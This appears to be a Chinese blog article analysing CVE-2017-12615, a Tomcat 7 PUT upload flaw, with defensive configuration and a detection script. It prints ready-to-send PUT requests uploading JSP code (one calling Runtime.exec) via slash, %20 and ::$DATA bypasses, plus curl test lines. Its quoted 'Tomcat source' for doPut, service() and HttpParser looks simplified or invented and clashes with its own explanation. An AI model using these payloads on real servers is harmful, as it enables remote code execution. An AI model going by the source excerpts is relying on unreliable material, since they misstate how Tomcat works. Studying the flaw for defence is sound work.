Tomcat 7.0.x PUT漏洞深度解析:3种绕过姿势与DefaultServlet源码分析

Tomcat 7.0.x PUT漏洞深度解析:3种绕过姿势与DefaultServlet源码分析

Tomcat 7.0.x PUT漏洞深度解析:3种绕过姿势与DefaultServlet源码分析

Apache Tomcat作为Java生态中最广泛使用的Web应用服务器之一,其安全性直接关系到数百万线上服务的稳定运行。2017年曝光的CVE-2017-12615漏洞因其特殊的绕过机制和严重的危害性,成为Web安全领域的经典研究案例。本文将深入剖析该漏洞的底层原理,通过源码分析揭示三种不同绕过手法的技术本质,并对比其在Windows/Linux环境下的差异表现。

1. 漏洞背景与影响范围

CVE-2017-12615是一个典型的配置不当导致的任意文件上传漏洞,影响Apache Tomcat 7.0.0至7.0.79版本。当服务器配置了readonly=false参数时,攻击者可以通过精心构造的PUT请求上传恶意JSP文件。

漏洞核心条件

  • Tomcat版本在受影响范围内
  • web.xml中DefaultServlet的readonly参数显式设置为false
  • 攻击者能够发送PUT请求到服务端

与常见文件上传漏洞不同,该漏洞的独特之处在于需要特殊技巧绕过Tomcat的文件类型检测机制。正常情况下,即使开启了PUT方法,直接上传.jsp文件也会被拦截,这就需要利用系统特性构造特殊文件名。

2. DefaultServlet源码深度解析

要理解漏洞本质,必须分析Tomcat处理PUT请求的核心逻辑。在org.apache.catalina.servlets.DefaultServlet类中,doPut方法负责处理上传请求:

protected void doPut(HttpServletRequest req, HttpServletResponse resp) { if (readOnly) { resp.sendError(HttpServletResponse.SC_FORBIDDEN); return; } String path = getRelativePath(req); WebResource resource = resources.getResource(path); if (resource.exists()) { // 处理已有资源更新 } else { // 创建新资源 createResource(resource, req, resp); } }

关键处理流程如下图所示:

  1. 权限检查阶段:首先检查readOnly标志位,若为true则立即返回403错误
  2. 路径处理阶段:通过getRelativePath方法标准化请求路径
  3. 资源操作阶段:根据资源是否存在执行更新或创建操作

JSP处理机制的特殊性

protected void service(HttpServletRequest req, HttpServletResponse resp) { String jspUri = req.getRequestURI(); if (jspUri.endsWith(".jsp") || jspUri.endsWith(".jspx")) { // 交给JspServlet处理 } else { // DefaultServlet处理逻辑 } }

正是这种基于后缀名的路由分发机制,为后续的绕过手法提供了可能。

3. 三种经典绕过技术剖析

3.1 斜杠截断绕过(/)

适用环境:全平台通用

技术原理: 当请求路径以/结尾时,Tomcat的路径解析逻辑会将其识别为目录请求,从而绕过JspServlet的检测:

PUT /malicious.jsp/ HTTP/1.1 Host: target.com Content-Type: text/plain <% Runtime.getRuntime().exec("calc"); %>

源码层面分析: 在org.apache.tomcat.util.http.parser.HttpParser中,路径标准化处理会移除末尾的/字符:

private static String normalizePath(String path) { while (path.endsWith("/")) { path = path.substring(0, path.length()-1); } return path; }

但此时文件已通过DefaultServlet的检测,最终写入磁盘时保留了.jsp后缀。

3.2 Windows空格截断(%20)

适用环境:仅Windows系统

技术实现: 利用Windows文件系统自动去除后缀空格的特性:

PUT /malicious.jsp%20 HTTP/1.1 Host: target.com Content-Length: 25 <% out.println("test"); %>

底层机制

  • Tomcat将%20解码为空格字符
  • Windows文件API在创建文件时自动去除后缀空格
  • 访问时需使用原始URL编码路径

3.3 NTFS数据流绕过(::$DATA)

适用环境:仅Windows系统

高级技巧: 利用NTFS文件系统的备用数据流特性:

PUT /malicious.jsp::$DATA HTTP/1.1 Host: target.com Content-Type: text/plain <%@page import="java.util.*"%>

技术细节

特性说明
流名称::$DATA表示文件主数据流
文件存储实际写入malicious.jsp文件
访问方式需省略::$DATA访问

4. 跨平台行为对比分析

不同操作系统对特殊字符的处理差异导致绕过效果不同:

绕过技术WindowsLinux根本原因
斜杠(/)有效有效路径标准化处理
空格(%20)有效无效文件系统差异
NTFS流有效无效文件系统特性

实际测试数据

# Windows环境测试结果 curl -X PUT http://win-server/test.jsp/ -d "payload" # 成功 curl -X PUT http://win-server/test.jsp%20 -d "payload" # 成功 curl -X PUT http://win-server/test.jsp::$DATA -d "payload" # 成功 # Linux环境测试结果 curl -X PUT http://linux-server/test.jsp/ -d "payload" # 成功 curl -X PUT http://linux-server/test.jsp%20 -d "payload" # 失败 curl -X PUT http://linux-server/test.jsp::$DATA -d "payload" # 失败

5. 防御方案与最佳实践

根据漏洞形成原理,提供多层次的防护建议:

1. 基础防护

<!-- 修改conf/web.xml配置 --> <init-param> <param-name>readonly</param-name> <param-value>true</param-value> </init-param>

2. 进阶方案

  • 升级到Tomcat 7.0.81+版本
  • 配置SecurityManager限制文件创建权限
  • 使用Web应用防火墙拦截恶意PUT请求

3. 检测脚本示例

#!/bin/bash # 检测readonly配置 grep -A5 "readonly" $CATALINA_HOME/conf/web.xml | grep "false" && \ echo "Vulnerable configuration detected!"

在云原生环境下,还需要考虑容器化部署的特殊性。通过Dockerfile加固的示例:

FROM tomcat:7.0 RUN sed -i '/<init-param>/a\\t<param-name>readonly</param-name>\n\t<param-value>true</param-value>' \ /usr/local/tomcat/conf/web.xml

6. 漏洞研究延伸思考

从CVE-2017-12615中可以提炼出以下安全启示:

  1. 默认安全原则:readonly参数默认为true是合理设计
  2. 深度防御:单一防护措施不足以保证安全
  3. 协议特性:HTTP方法需要谨慎启用
  4. 系统差异:跨平台特性可能引入安全隐患

对于希望深入研究Tomcat安全的读者,建议从以下方向着手:

  • 分析JspServlet与DefaultServlet的协作机制
  • 研究Tomcat的URL解析算法
  • 跟踪后续相关CVE的修复方案

理解这类漏洞的底层原理,不仅能帮助防御已知威胁,更能培养发现新型漏洞的安全思维。在后续的Tomcat版本中,虽然官方修复了此特定问题,但类似的逻辑缺陷仍然值得持续关注。